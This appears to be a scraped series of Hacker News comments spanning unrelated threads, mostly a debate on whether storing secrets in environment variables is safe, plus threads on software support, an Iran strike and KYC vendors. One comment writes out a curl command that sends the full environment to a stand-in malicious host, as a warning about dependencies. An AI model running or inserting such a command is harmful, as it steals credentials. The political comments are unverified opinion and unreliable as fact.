6 years is really not a long time at all. You can probably find heaps of open source software out there that compiles and runs perfectly on 20 year old PCs. It's not like the maintainer has to do much to retain support--they just have to not make the software dependent on new operating systems.
Exactly. That's all I'm asking for. If version X works on my system today and version Y needs an OS bump, well... that sucks and is avoidable, but whatever. I expect to be able to obtain and use version X tomorrow and into the future. That's it. I'm not asking to make version Y work for me, but it would be nice if they didn't add the OS dependency.
But increasingly, developers can't even manage to keep version X around and working, despite them having to simply not do anything to it to keep it from breaking.
Homebrew doesn't have to lift a finger to support Intel Macs. It already does! All they have to do is not kill support for them.
Hey, it's their software, they are all volunteers and can do whatever they want. I'm grateful for the short window of time in which I was able to use their software. I don't get to decide their support period, but I will still hopelessly complain about it. "Deliberately breaking compatibility with a computer because it is old" is my biggest axe to grind with the whole software industry, and I'll shake my fists at this cloud until I die.
Software maintenance is not free, especially for a project the size of Homebrew, and it's perfectly reasonable for software to not be supported on older computers due to maintenance burden, with a good example being 32 bit processors. If you had a 32 bit processor would you expect all of your software that was supported now to be supported forever, just because it supports it now?
I would not expect the software to continue to get updates, but I would expect the software to continue to work.
I'm salty today because I tried to run Fusion 360, and found that Autodesk just out of the blue decided that 1. My computer is too old to run the software (which ran just fine a few weeks ago on the same computer); 2. That I needed to update the software, and 3. The update will not run on my "old" computer. They took software that ran fine on my computer and deliberately pulled the rug out. Fuck Autodesk. I'm spending the entire afternoon exporting dozens of files I have on their cloud, one at a time, since they apparently can't even manage to keep an existing version of the software running.
NixOS is an open source project that runs great on my 2013 Dell laptop. I think the real point of distinction is that brew depends on Apple's OS and SDK, which somewhat ties their hands, while other OSs don't.
Still incredibly relevant. Even if you don’t apply it, there is so much to learn by reading this in 15 minutes.
The only grievance I have with this is Chapter 3: Config [1]
“Store config in the environment”, “Credentials to external services such as Amazon S3 or Twitter”
Besides being bad advice, this had the second-order effect of leading devs to believe they could put all their local env secrets in ~/.bashrc files.
The unwritten assumption in 12 Factor is: the environment is secure. For example, a production system should always have a secure means of setting environment variables. Said another way: If a random dev can change an environment variable in production either directly by logging in or indirectly by pushing code then there is something very very wrong.
If the dev is pushing code to production they should not simultaneously be pushing environment configs, this is doing two logically distinct things at once: Changing application behavior AND reconfiguring the server environment.
If the dev is adding secrets to their local config and they’re pushing that config to insecure places that means their deployment pipeline is broken and it should be fixed. .env is never committed to source for this reason, for example.
> The unwritten assumption in 12 Factor is: the environment is secure.
Fair assumption.
Assuming no attackers and you're only running trusted code, I still maintain the environment is a poor place to keep secrets. Devs adding `{ meta: process.env }` to logs. Instrumentation/reporting libraries dumping the process (and the env) for crash reports. Trust that subprocesses + dependencies inheriting your environment are taking equal care to avoid these issues, too.
Unfortunately, with secrets in the OS env, you‘re one `printenv` or improperly written third party dependency that leaks env vars away from a security incident.
The env and more importantly what populates it should be secure, but security works best in layers. Sanitizing the env after loading it is a nicer middleground, k8s-style secrets materialized to files work best and are conceptually close enough to the OS env.
This was about a programmer accidentally adding a debug print, or say an error page helpfully dumping environment, or logs from a third party tool, etc. Not about someone actually getting RCE just to print the environment, of course.
It's not my intuition that materializing secrets to files is a better way to protect them than just injecting them into the environment, where they don't persist.
Dev/shm is used to materialize them, and then you have the ability to isolate the downstream code you might use from accessing it by dropping permissions or sandboxing it away from a file. You cannot really hide your environment from anything in process, since it's such a low level construct.
Not at all clear why this is a better setup than a launcher shim that pulls secrets from a secret store and injects them into the environment as the program launches --- which is a pretty normal shape for these things to take.
I guess you could be thinking "subprocess inheritance" as a downside? But subprocesses often need secrets, and if you arrange for that with the filesystem you have the same problem. And, of course, files leak all the time.
More to the point, though: none of this has anything to do with whether you should add secrets to your .bashrc or whatever, which is the argument I'm seeing on the thread.
It doesn't need to be a traditional file. You can pass it as essentially a read-once file by using stdin. Depending on your desire for modernity, similar behavior can be obtained by leaving a file handle open for the exec-ed process to inherit, via a Unix socket, or even a lightweight TCP daemon.
> It's not my intuition that materializing secrets to files is a better way to protect them than just injecting them into the environment, where they don't persist.
I don't really follow this reasoning. Where are you injecting the secrets from?
The env is technically still kind of a file on linux at least (through /proc).
Sometimes I feel like stdin or an unlinked memory mapped file might be the best location for this stuff. Wish Linux had a cloexec+1 option, where an fd is closed after two execs, so you can set up a child process for success.
Adding on to what others say about printenv, various diagnostic tools (e.g. crash reporting stuff) will capture the environment. Env vars are just categorically so easy to accidentally leak that it can’t even be classed as an insecurity.
> Note that this definition of “config” does not include internal application config, such as config/routes.rb in Rails, or how code modules are connected in Spring. This type of config does not vary between deploys, and so is best done in the code.
I guess it depends on your definition of "behavior?" For example if the config is the endpoint address of an external resource, it's not really changing the application behavior per se.
Adding a config setting should never be dangerous (if it is your system is deeply broken) and should be distinct from changing an existing config setting.
> Adding a config setting should never be dangerous (if it is your system is deeply broken)
While I can't name anything specific offhand, I feel pretty strongly that I've seen documentation for various things stating that those things check for an environment variable and, if it isn't present, fall back to other candidate names for the same variable.
This makes setting a new variable synonymous with changing an existing one, unless all variables are currently using the highest-priority possible names.
Another architecture with the same effect is that the software will only check a single environment variable, and if not present it will use a default value. That also makes setting a new variable synonymous with changing an existing one.
You've never seen software that will use a default value, instead of refusing to operate, when a particular environment variable isn't present in the environment?
I was deploying some dotnet app and it broke because the devs baked a config key into the image that was otherwise unset, which enabled it trying to start a SSL endpoint without a cert, thus breaking the app.
Are you talking about altering environment variables in a system, or altering software to read different environment variables? I read jt2190 as talking about the former.
I don’t use env variables for this and many other reasons. They seem like a spectacularly bad idea for config, as the op noted.
I’m talking about altering a config which you control - adding to a config is pretty risk free if it is your program, altering a config of course is not.
It's more accurate to describe it as a "premise", not an assumption. It may not be true of every environment, but it's a very common norm (for instance, secrets management systems inject tokens and such through the environment).
You can reject the premise in your own environments, and then that part of 12 Factor doesn't apply to you.
Even putting secrets aside, the environment is a crappy place for config data.
It's got a maximum size cap, is trivially introspectable by via any process that can read `/proc`, and sucks at representing hierarchical or structured data beyond k=v.
The proliferation of tools that come up with all sorts of contortions to encode e.g. JSON-ish structures into the environment is evidence that this ain't a great way to go. I hope we're moving towards a container-orchestrator-by-default future; mounting structured data into pseudo-files at runtime is a really nice alternative.
> is trivially introspectable by via any process that can read `/proc`,
It's ok, containerized apps are expected to run in isolated environments where you are the only one with access to this info.
> and sucks at representing hierarchical or structured data beyond k=v.
It's ok, it's a KV store.
If it isn't, you are doing something terribly wrong.
Virtually all config systems developed in the past decade follow this pattern, where multiple config providers are applied hierarchically and env vars are the last chain in the chain of responsibility that overrides all other providers. It works well.
> this had the second-order effect of leading devs to believe they could put all their local env secrets in ~/.bashrc files
Teach them to use dotenv.
We are moving away from configuration in config files because it is a pain to modify, especially if part of that configuration is secrets. You have to throw everything into your secrets vault of preference, and editing it requires extracting and reuploading the whole thing.
We are currently doing config in env by loading one or multiple secrets per kubernetes pod (mix and match).
My issue with the env is it's not a secret store. Dotenv is a delivery mechanism. If you're using it to put APP_BASE_URL or APP_PORT into your env, it's a very convenient one. If you're using dotenv to put SECRET_SIGNING_KEY into your env, it's as poor a delivery mechanism as ~/.bashrc is.
Processes and subprocesses inherit your environment. Too much can go wrong. Something as innocent as an error logging library adding `{ metadata: process.env }` to every line or as nefarious as `curl malicious.example.com -d "$(jq -n 'env')"` in a dependency you (or your agent) just pulled to test out in your local branch. Exfiltration is free. If you're loading secrets into your environment and _not explicitly cleaning it out immediately_, the security posture is trust & hope.
As patmorgan23 wrote in another comment "Secrets should go in a vault and retrieved with the help of a workload identity." Secrets management unfortunately isn't as easy as config management. I personally like sops[1].
Not a rhetorical question, just curious: Suppose you have all your secrets encrypted with sops. That secret that validates your application's identity, that it needs to use to get or decrypt the secrets, like an AWS keypair or similar, how do you provide that secret to the app?
I’d speculate that this was a product of its time (early Heroku days), and that a goal at the time was to get secrets out of source control. Which was an antipattern way back then.
Times have changed since then, and there’s much better tooling available to help with this problem space and surface area these days.
Absolutely. This is why the env method is so attractive. It's simple and feels "free".
> doesn't every other way also suffer the same kind of issue
Not entirely. Accessibility (or dev ergonomics) and security are opposite ends of the same dial. As the other commenter wrote: a workload identity and a vault, and sharing the secrets between the two in a way that doesn't leave a plain-text trace for everyone to read (the environment is not private).
Now that we use coding agents, you don't want to store secrets anywhere in the same VM, because that makes them vulnerable to exfiltration. The best way is to access external services via a proxy that holds the secrets.
How does the running app instance get the workload identity?
The ways I can think of are (1) it's baked into the source code (worst possible security), (2) it's provided on the command line (also bad since command lines are visible to ps unless you do various OS-specific hijinks), (3) it's provided in an environment variable (no better than before), or (4) it's read from some well-known path (it seems to me that anything that could read a process's env vars could also read the contents of this file, so how is this more secure?)
> (3) it's provided in an environment variable (no better than before)
Even if you take no measures beyond simply using a token that can be exchanged for secrets (and you can – invalidate it, authenticate it, etc.), you’re already doing better than before, because the token isn’t useful to an attacker without access to the secret store, whereas something like a JWT secret key is very useful.
Thanks, I can see how invalidating the token after first use, or after a short time period, reduces the exploit possibilities. (If all upstream service providers that you depend on were perfect, this could be arranged separately for each JWT that you need, but they aren't perfect.)
> authenticate it
> the token isn’t useful to an attacker without access to the secret store
If it's not a bearer token (that is, if you need to provide some additional credentials to authenticate it to the secret store) then any such additional authentication would need to be passed in somehow. Are you maybe assuming that in the environment where the app runs, some subsystem will have already installed a credential for some suitable IAM security principal? Because in that case, I certainly agree that it's better to anchor everything off that. That covers many cases (including every cloud) but not, e.g., rented plain VPSes or a couple of servers in your own basement.
I'm the creator of Node dotenv and I gave this a lot of thought a couple years back. I put together a whitepaper on this. Ultimately your secrets do still have to hit your environment. But at-rest they should be split from the environment. Today I think that is encrypting your .env file and keeping the decryption key separate. Bring the decryption key only at runtime inside your environment.
I wonder what alternative methods people use nowadays that are good enough but still simple and lightweight ? secret management services have its own place but not everyone have those available.
The take still holds, although it is a bit more nuanced than it seems at first. 12 Factor was written by the founders of Heroku, for context, and that's exactly how Heroku worked. The app code would be submitted into a system, and run in a pre-container era container-ish environment where any instance specific data would be supplied as environment variables.
This is actually in place in most hosting providers today - don't know if Heroku does it, but many others like Vercel and Fly will also encrypt your secret env vars and decrypt and inject them only at the last minute.
AWS itself has something similar with its secrets manager. Even in the absence of credentials, like using role based IAM when running on EC2, it probably makes sense to note that the code must access credentials by hitting a local-only metadata server - and of course this is available only when running on EC2.
For other secret like payment processor tokens, etc, there's you do need to store secrets somewhere.
Putting secrets in plaintext in the files on the execution platform is of course a problem - but that's not a problem in the 12 Factor idea - it's a security lapse in the design and architecture of the platform that is supposed to be running your 12 Factor app, if that makes sense.
This is the beauty of sOps. Store the secrets in the code, but store the keys in AWS SM and have sOps do the work. Works great with Instance Profiles or IRSA.
> Besides being bad advice, this had the second-order effect of leading devs to believe they could put all their local env secrets in ~/.bashrc files.
I don't agree, and I think this is personal belief is unfounded. 12 factor apps clearly apply to deployments, not your local dev environment. The whole industry pivoted towards .env files in local dev environments. Local dev tools still store their secrets where they can: local storage.
It's pretty normal to keep secrets in a dedicated secret store, and then have the service launcher inject them from the secret store into the environment.
normal indeed but not what i'd consider a best practice anymore. we've moved away from any secrets in the env after the typical secrets leak when secrets popped up in some debug logging that hit datadog.
we now have a secret cache layer api and the app loads secrets securely at time of use from that api. there's also no secret-0 problem because we use IAM auth when calling the cache.
edit: for those wondering, api response time is sub 1ms (rust!)
Buy-into storing credentials into environment variables.
Then, and this is important - MANAGE YOUR ENVIRONMENTS.
You shouldn't have prod level s3, or aws creds accessible openly in your environment. If someone can steal those values, they can steal the code, and pretty much everything else. This is very bad.
For prod (and possibly staging), use a lib that loads in values securely from an actual secrets service.
"The environment" is not "environment variables" and not ".env files"
For cloud services, it would typically be called a vault. But it could also be a hardware security module (HSM) with bring-your-own-key (BYOK, eg for certificates.)
Ansible also calls it a vault and encrypts it with a password — that file you can check into version control.
The vault of the cloud provider would just inject the value of the environment variable securely so it doesn't have to be stored on-disk. What the parent poster wrote isn't wrong.
It's still completely correct. You don't have to use environment variables to store the environment. It can be stored in a secrets management system and loaded on-demand.
The point is that you must keep secrets, and anything environment-specific, out of the code. Follow the spirit of the law, not the letter.
Firmly agree. A lot of sibling comments are talking about environment mutation (which does have issues); I want to talk about environment read access.
The environment is a standard, locate-able, read-only at runtime k/v store in every process. That makes it an incredibly juicy target for exploits. There are tons of remote exploits well short of RCE which can access all or part of a server process's environment. If that environment contains secrets for everything that process might do, that's asking for trouble.
Consider a user-facing webserver with a rarely-used, admin-only route that talks to AWS APIs. Unless it's deployed on AWS and using IMDS, the 12-factor best practices say there should be AWS credentials in its environment.
Consider a service which, at startup, opens a connection to a telemetry/logging system, then drops privileges and handles requests. 12-factor best practices say there should be a secret for that telemetry system in its environment.
Additional examples abound. Most applications (even ones that aren't internet-facing web servers) use configured secrets infrequently--often only once, to open connections to external services--and not during the vast majority of requests they serve, but we put all secrets in the environment anyway.
Vaults don't automatically solve this problem either; many vaults provide secrets to applications by injecting them into process environment at start.
Good secret management at runtime should ideally be:
1. Mutable or at least delete-able. I really wish there were ways to remove environment variables after they're used (so I could say "once you have an authenticated, open socket or a refreshable auth token to $service, remove the initial login secret from memory entirely"), but absent highly complex multi-process/re-exec dances, that doesn't really exist. If, in Python, you 'del os.environ["foo"]', you haven't modified the environment segment of your program's memory.
2. Not in one common/uniform memory area or key-value API. Hell, it's slightly preferable to have secrets be stored piecemeal in regular variables in memory scattered around your code. Those are going to be slightly harder to find for malware that gets a foothold--security by obscurity, true, but the environment memory block/API is such a tempting and easy target that it buys you a bit more than a false sense of security here.
3. Ideally, stored or encrypted in memory (for secrets that have to stay in memory) such that an exploit which can read process memory doesn't get them for free. Some vaults have a host-local sidecar which provides secrets or a decryption key for them; that way, if an attacker gets memory-read without RCE they can't just exfil a memory image and figure out the decryption key later, but you don't have to be reliant on a remote networked service's uptime for all secret accesses. Even if you don't go that far, securing secrets in-memory at least gives you the option of doing zero-trust stuff based on request payloads, or even just making good-hygiene backend APIs that encode "you can only read the value for secret X if the request is for an admin route and authenticated" (which is a good idea for internet-exposed services with seldom-used risky secrets anyway, but doesn't help with parts 1 and 2 if that API is just wrapping env.get() or whatever).
I feel like people just think they should be doing all sorts of complicated stuff, and if they're not, they're somehow slacking off on security. You used to see the same thing with password hashes where people would write paragraphs about how they have salts and peppers and spices, passionately arguing for the necessity of each.
At the point where you're encrypting secrets in resident memory in a normal server program, you have gone fully into saffron-grade security. If you're worried about leaking secrets in your environment, overwrite the environment variable data and be done with it. In reality, if this is a real concern, unsetenv(3) is probably enough to avoid the actual attack vector --- a vulnerability where you leak environment variables qua environment variables (because you shell out or something).
Whatever vulnerability you're positing that leaks a secret out of arbitrary resident memory also leaks whatever secret you'd use to encrypt, and now you're not building a security system, you're building a DRM scheme. Don't let me yuck your yum on that, but: not a good ROI for security.
You're not wrong. My gripes above aren't a tacit accusation everyone is slacking off on security. I just wish we had standardized on better tools than env variables to make secrets a little more secure by default without requiring complicated stuff. But life goes on, most locks are more pickable than they should be, etc.
I do quibble with the statement that
> unsetenv(3) is probably enough to avoid the actual attack vector
It's not, because it doesn't modify the environment block of the process. Even if you use unsetenv, you're one path-traversal vuln away from folks being able to read all your startup-time secrets out of /proc/self/environ. Similar is true for exploits that can read process memory in small chunks: it takes time and risks detection to e.g. crawl around the stack/heap of who-knows-what-language to find interesting variables, but it's a lot easier to grab whatever's at the top of the stack by address (the env blob, which I think is also unmodified by most unsetenv(3) implementations). Path traversals and small-arbitrary-read exploits aren't exactly uncommon, and environment variables are the wp-admin/admin.php of exploit targets.
That's a quibble; you're broadly right, and that risk's not nearly severe enough to torture your code or bring in caching + encrypting runtime secret stores or whatnot.
I just wish env had been implemented without a /proc view and with reads requiring a cheap syscall rather than memory-residence, you know? Yeah, it's pointless to speculate about, but still seems like an obviously-preferable-in-retrospect road not taken.
It’s a terrible pattern, but one that is simply entrenched. Pretty much everything treats .env as if it’s /etc/shadow now.
I would prefer to see secrets from .env not actually splattered in the environment but processed/read on demand, and there are indeed libraries to do that.
I keep trying the "native" solutions every so often, but every time I quickly hit some snag that makes me question why I'm not just using the solution that actually works. As an example, I just generated a new project using create-vite & added two subpath imports:
The second one (#/*) is similar enough to what I usually use (@/*), and it's supported in Node since v25.4.0! Yet when I try to import the file at projectRoot/src/router/index.ts using:
import router from "#/router/index"
VS Code shows an error: "Cannot find module '#/router/index' or its corresponding type declarations."
Now, imports from e.g. "#assets/main.css" work, so I could work around this issue - but this is what I keep experiencing: the native variant usually kinda works except for the most common use case, which is made unnecessarily awkward. For a long time this is what ESM used to feel like, and IMO it still does in places (e.g. directory imports not working is a shame).
Possibly a double tap strike with airstrikes hitting shortly after the Tomahawks
> Middle East Eye, citing survivors and first responders, reported a possible "double-tap" strike — a second explosion hitting the area shortly after the first, striking people who had taken shelter.
This isn't surprising at all. We double tapped the boat survivors a few months back too. When Hegseth talks about ending "woke" warfare and fighting at less than full capacity this is exactly what he means: he wants to kill as many people as possible, civilians, first responders, doesn't matter. It's not an accident or aberration, it's official policy. And don't mistake this for wanting to preserve the lives of American soldiers. Anyone who gave a single shit about that would want to preserve the rules of war. He's not so stupid as to miss that destruction of ancient norms of conflict will lead to more losses, he just doesn't care. Actually, Americans dying serve his ends fantastically in galvanizing the public to support further conflict.
Mark my words, we're either going to attempt to occupy Iran or glass it in the coming months. That was the goal from the beginning, even if Trump seemed a bit unaware of that at first.
The article is talking about two things at once and trying to pretend they are the same thing. The us hit the military base with a tomahawk missile, and the school was hit by a missile from "nooneistakingaccountabilityville". They are trying to act like the US hitting the military base proves that they also hit a school like a week ago.
No, the school was hit by multiple missiles, not one, around the same time the military clinic was hit.
You can tell yourself that multiple air defense missile all failed the same way and fell at the same place, but saying that a single missile (especially air defense missile) erased the school is wrong.
This does sort of reveal the genius in Israel partnering with the US on this. At any point both parties can deny responsibility, leaving plausible deniability for both parties.
It's not genius at all. We all know that both the US and Israel are responsible for spending trillions of taxpayer's dollars on illegal wars of aggression and genocide. We weren't fooled by W, we weren't fooled by Obama, or Trump, or Biden.
Look at how the world has watched the US starving Cuba for decades, to take one example of many. Every year, every country except the US and Israel vote in the UN to condemn the sanctions. And every year, no one actually helps Cuba, because America threatens insane consequences.
Not genius. Just threats. Not very smart at all, if we want a liveable planet.
What does it take, exactly, for Donald Trump to be formally accused of war crimes and arrested on sight if he ever visits some actually civilized countries?
This strike is a fuck-up. Could be a mistake, could be a crime attributable to a person somewhere in the middle-ish of the chain of command, or even at the very bottom. You need a pattern of such strikes to move the needle firmly into "intentional government-wide war crime" territory.
Last I heard 16 hospitals have been damaged and 7 are no longer able to operate. Is that a pattern yet? They are also explicitly targeting residences where they believe officials live with their families (which is also a war crime).
Even if you think they are simply wreckless, it is well-established that wrecklessness still constitutes war crimes
Israel has a (recent) history of bombing hospitals, and committing warcrimes and I believe they are also engaged with Iran. This attack on Iran is wrong from both parties and all targets are unacceptable, but do you have any articles or evidence that the U.S. damaged these hospitals?
> At least 13 hospitals and other health facilities have been hit during the US-Israel attacks on Iran, global health chiefs have said.The World Health Organization (WHO) said it was checking reports that four medics had been killed and 25 others injured.
> The Iranian Red Crescent chief said that at least 3,090 homes, 528 commercial centres, 13 medical facilities and nine Red Crescent centres have been hit in Israeli-US strikes. Officials reported damage to major medical facilities, including Khatam Hospital, Gandhi Hospital, and various rehabilitation and welfare centres.
> Iran’s Ministry of Foreign Affairs claimed on Thursday that the US and Israeli strikes have targeted 33 civilian locations nationwide, including hospitals, schools, residential areas, the Tehran Grand Bazaar, and the historic Golestan Palace complex – a UNESCO World Heritage Site.
Why though? Do we really need a pattern of strikes or could we just hold the biggest military in the world to a slightly higher standard? Why equivocate away responsibility to 'oh it could have been private so and so who murdered 100+ school children. Shrug.'.
Power is a social construct. Our institutions are being dismantled and collapsing, but they retain a vestige of legitimacy owing to the fact that most Americans haven't experienced much change in their quality of life. Wait until the gas pumps run dry or people start missing meals, and "power" has a way of evaporating pretty quickly.
That and much worse happened in the ~1675-1775 era of English and chartered company and proprietors lording over the American people, including actions that lead to mass starvation and death. It still took 100 years to totally throw off that yoke, though there were a few failed rebellions (like Bacon's).
> I've long been irritated by the use of the term "server emulator" in gaming contexts. Technically these projects are just reimplementations of a proprietary networking protocol. Nobody calls Samba a "server emulator" because it reimplements the Windows file sharing protocol, because Samba isn't "emulating" anything from the perspective of the traditional definition of "emulator" in computer science.
I think the distinction is a lot greyer than the black/white you propose.
The very first popular online games used servers mostly to redistribute (and maybe time sync) packets from clients. There is no standard way to to do that. Player-created servers did their best to emulate the official servers logic but it was indeed impossible to replicate it perfectly.
e.g. when breaking up large maps into sectors, the official server might broadcast your location and projectiles X units away and emulators would broadcast it X + 500 units away, which could have an impact on gameplay.
Emulator feels fitting when there is no official server spec to reimplement.
edit: emulator also feels appropriate where servers are responsible for NPC activity or quest-like mechanics. This goes beyond implementing a network protocol. The gameplay is massively impacted.
Your reply did exactly what I complained about: expanding the definition of emulator to cover reimplementing a network protocol.
You're not wrong that "server emulator" is a generically correct use of the term emulation, in the same sense that it is a correct use of the word for someone to say they emulate a fashion sense of a celebrity they like in their own wardrobe.
But in computer science, strictly speaking, the original definition of emulator was more strict. It was about things like emulating processor architecture A so as to execute programs written for it on processor architecture B.
And part of why expanding the definition to include "server emulators" annoys me is why has this definition expansion occurred only in gaming contexts? If a free UO server is a "server emulator" then why is Samba not also a server emulator? The lack of consistency is irritating to me, and it only happened because gamers like the term emulator, not due to any kind of rigorous computer sciencey reason.
My reply is that, strictly speaking, it is not a reimplementation of a network protocol if you need to recreate parts of the game based on best guesses that _impact_ the gameplay if your guess is wrong/different. A game is more than a network protocol. It is the data within that makes it to you that is being emulated.
SMB3 is SMB3. I would probably classify SMB1 (proprietary, closed) implementations as emulators if the guesses resulted in differing functionality from client<>server to another client<>server.
Wow! This is no small feat... am I reading the contribution graph[0] correctly, you've done all this yourself?
This endeavour sounds a whole lot like a server emulator for Infantry Online that was started by an incredibly talented developed 16 years ago ("aaerox"). I found the original svn commit on Sourceforge [1]. It's since moved to GitHub but has been active for 16 years and it has much of the same functionality you've already built, but done by more than a dozen developers over a decade-and-a-half.
Kudos to you. You've gotta explain how you've managed to do so much all by yourself.
So: I took most of the infrastructure from the my first attempt at moongate (https://github.com/moongate-community/moongate, which failed miserably along with https://github.com/tgiachi/Prima). From there, I had a good starting point to quickly build the foundations. I had already done the Lua scripting part in another project (https://github.com/tgiachi/Lilly.Engine). Codex helped me with all the testing, implementing functionality and creating tests, so at least I have a good sparring pattern. For the data import part (which I called FileLoaders), I took the logic from ModernUO. For the items part, I created a script (scripts/dfn_*.sh) to import items from POL! Thanks for the compliments! The way I am, if I fixate on something, it becomes an obsession!
while i understand the motivation to have codex like, do this problem for you, that's fine. what is the ethos of corresponding with people on Hacker News through the chatbot too? like i get that this particular comment i am replying to, you authored, but ChatGPT authored your post, and your documentation, and some of your other comments.
the big picture question is, if you can mess around with the bot to do anything, why spend it on this game? why not make your own original game instead?
I do use ChatGPT sometimes as a tool while working on the project (similar to using documentation, Stack Overflow, or an IDE assistant), but the post and the project direction are my own. So what?
Did you have to massage/guide the UI quite a bit? I've had terrible luck with codex, claude, and gemini at doing frontend. It's always so close but so far at the same time
Useful and useless (or good and “less good”) aren’t easily mapped to big and small.
From a purely UX perspective, showing a red badge seems you’re conflating “less good” with size. Who is the target for this? Lots of useful codebases are large.
I do agree, however, that there’s value in splitting up domains into something a human can easily learn and keep in their head after, say, a few days of being deeply entrenched. Tokens could actually be a good proxy for this.
The idea is well articulated and comes across clear. What’s the issue? Taking a magnifying glass to the whole article to find sentence structure you think is “LLM-slop” is an odd way to dismiss the article entirely.
I’ve read my fair share of LLM slop. This doesn’t qualify.
Oh I’m curious. Love bash, and learning new things about it.
I can understand why [ is not ideal. Can you explain the rest to me? I use || true for custom error handling often (with the right set -euo pipefail of course)
I agree; I didn't want to editorialize too much as I think the writeup stands on its own.
My takeaway was that in this case, even an author with a clear and extreme bias against this sort of thing could find only unfortunately-common bad practices rather than deeply nefarious intent. Of course, this is just the front-end code, but this just looks like a KYC platform to me. Most of the secondary reports on this write-up seem to completely ignore section 0x13 and jump to the specific conclusions the author does not draw.
The fact that we've created a system where Discord need and want a KYC platform is a different and quite strange thing, but the KYC platform itself just looks like what it says on the tin.
Any time you interact with the financial services industry in a meaningful way, they are doing almost exactly all of these checks on you. It is mandated by law, and they're overseen by FINTRAC in Canada and FinCEN in US.
When you applied for a bank account for your freelancing business (or startup idea), some people googled you, looked for PEPs (politically exposed persons) in your family, stored photos of your IDs and probably even printed them off, and sent everything in a nice package to some "risk" department. Who knows how that department is handling your data.
The only difference is that Persona is trying to put a front-end on it and selling the process as a SaaS. Look up "KYC/KYB saas" and you'll find hundreds of businesses doing this (including, of course, Persona).
edit: I want to emphasize that this isn't restricted to just business banking. Poor wording on my part. Lots of industries are legally mandated to conduct KYC/IDV. Notaries do it in home sales, your stock brokerage is doing it, employers in regulated industries do it to everyone on payroll. The list is very long. Unfortunately...
The government should take on responsibility for KYC imo, instead of letting 100 vendors come up with their own solutions. But that would probably have some nasty externalities.
reply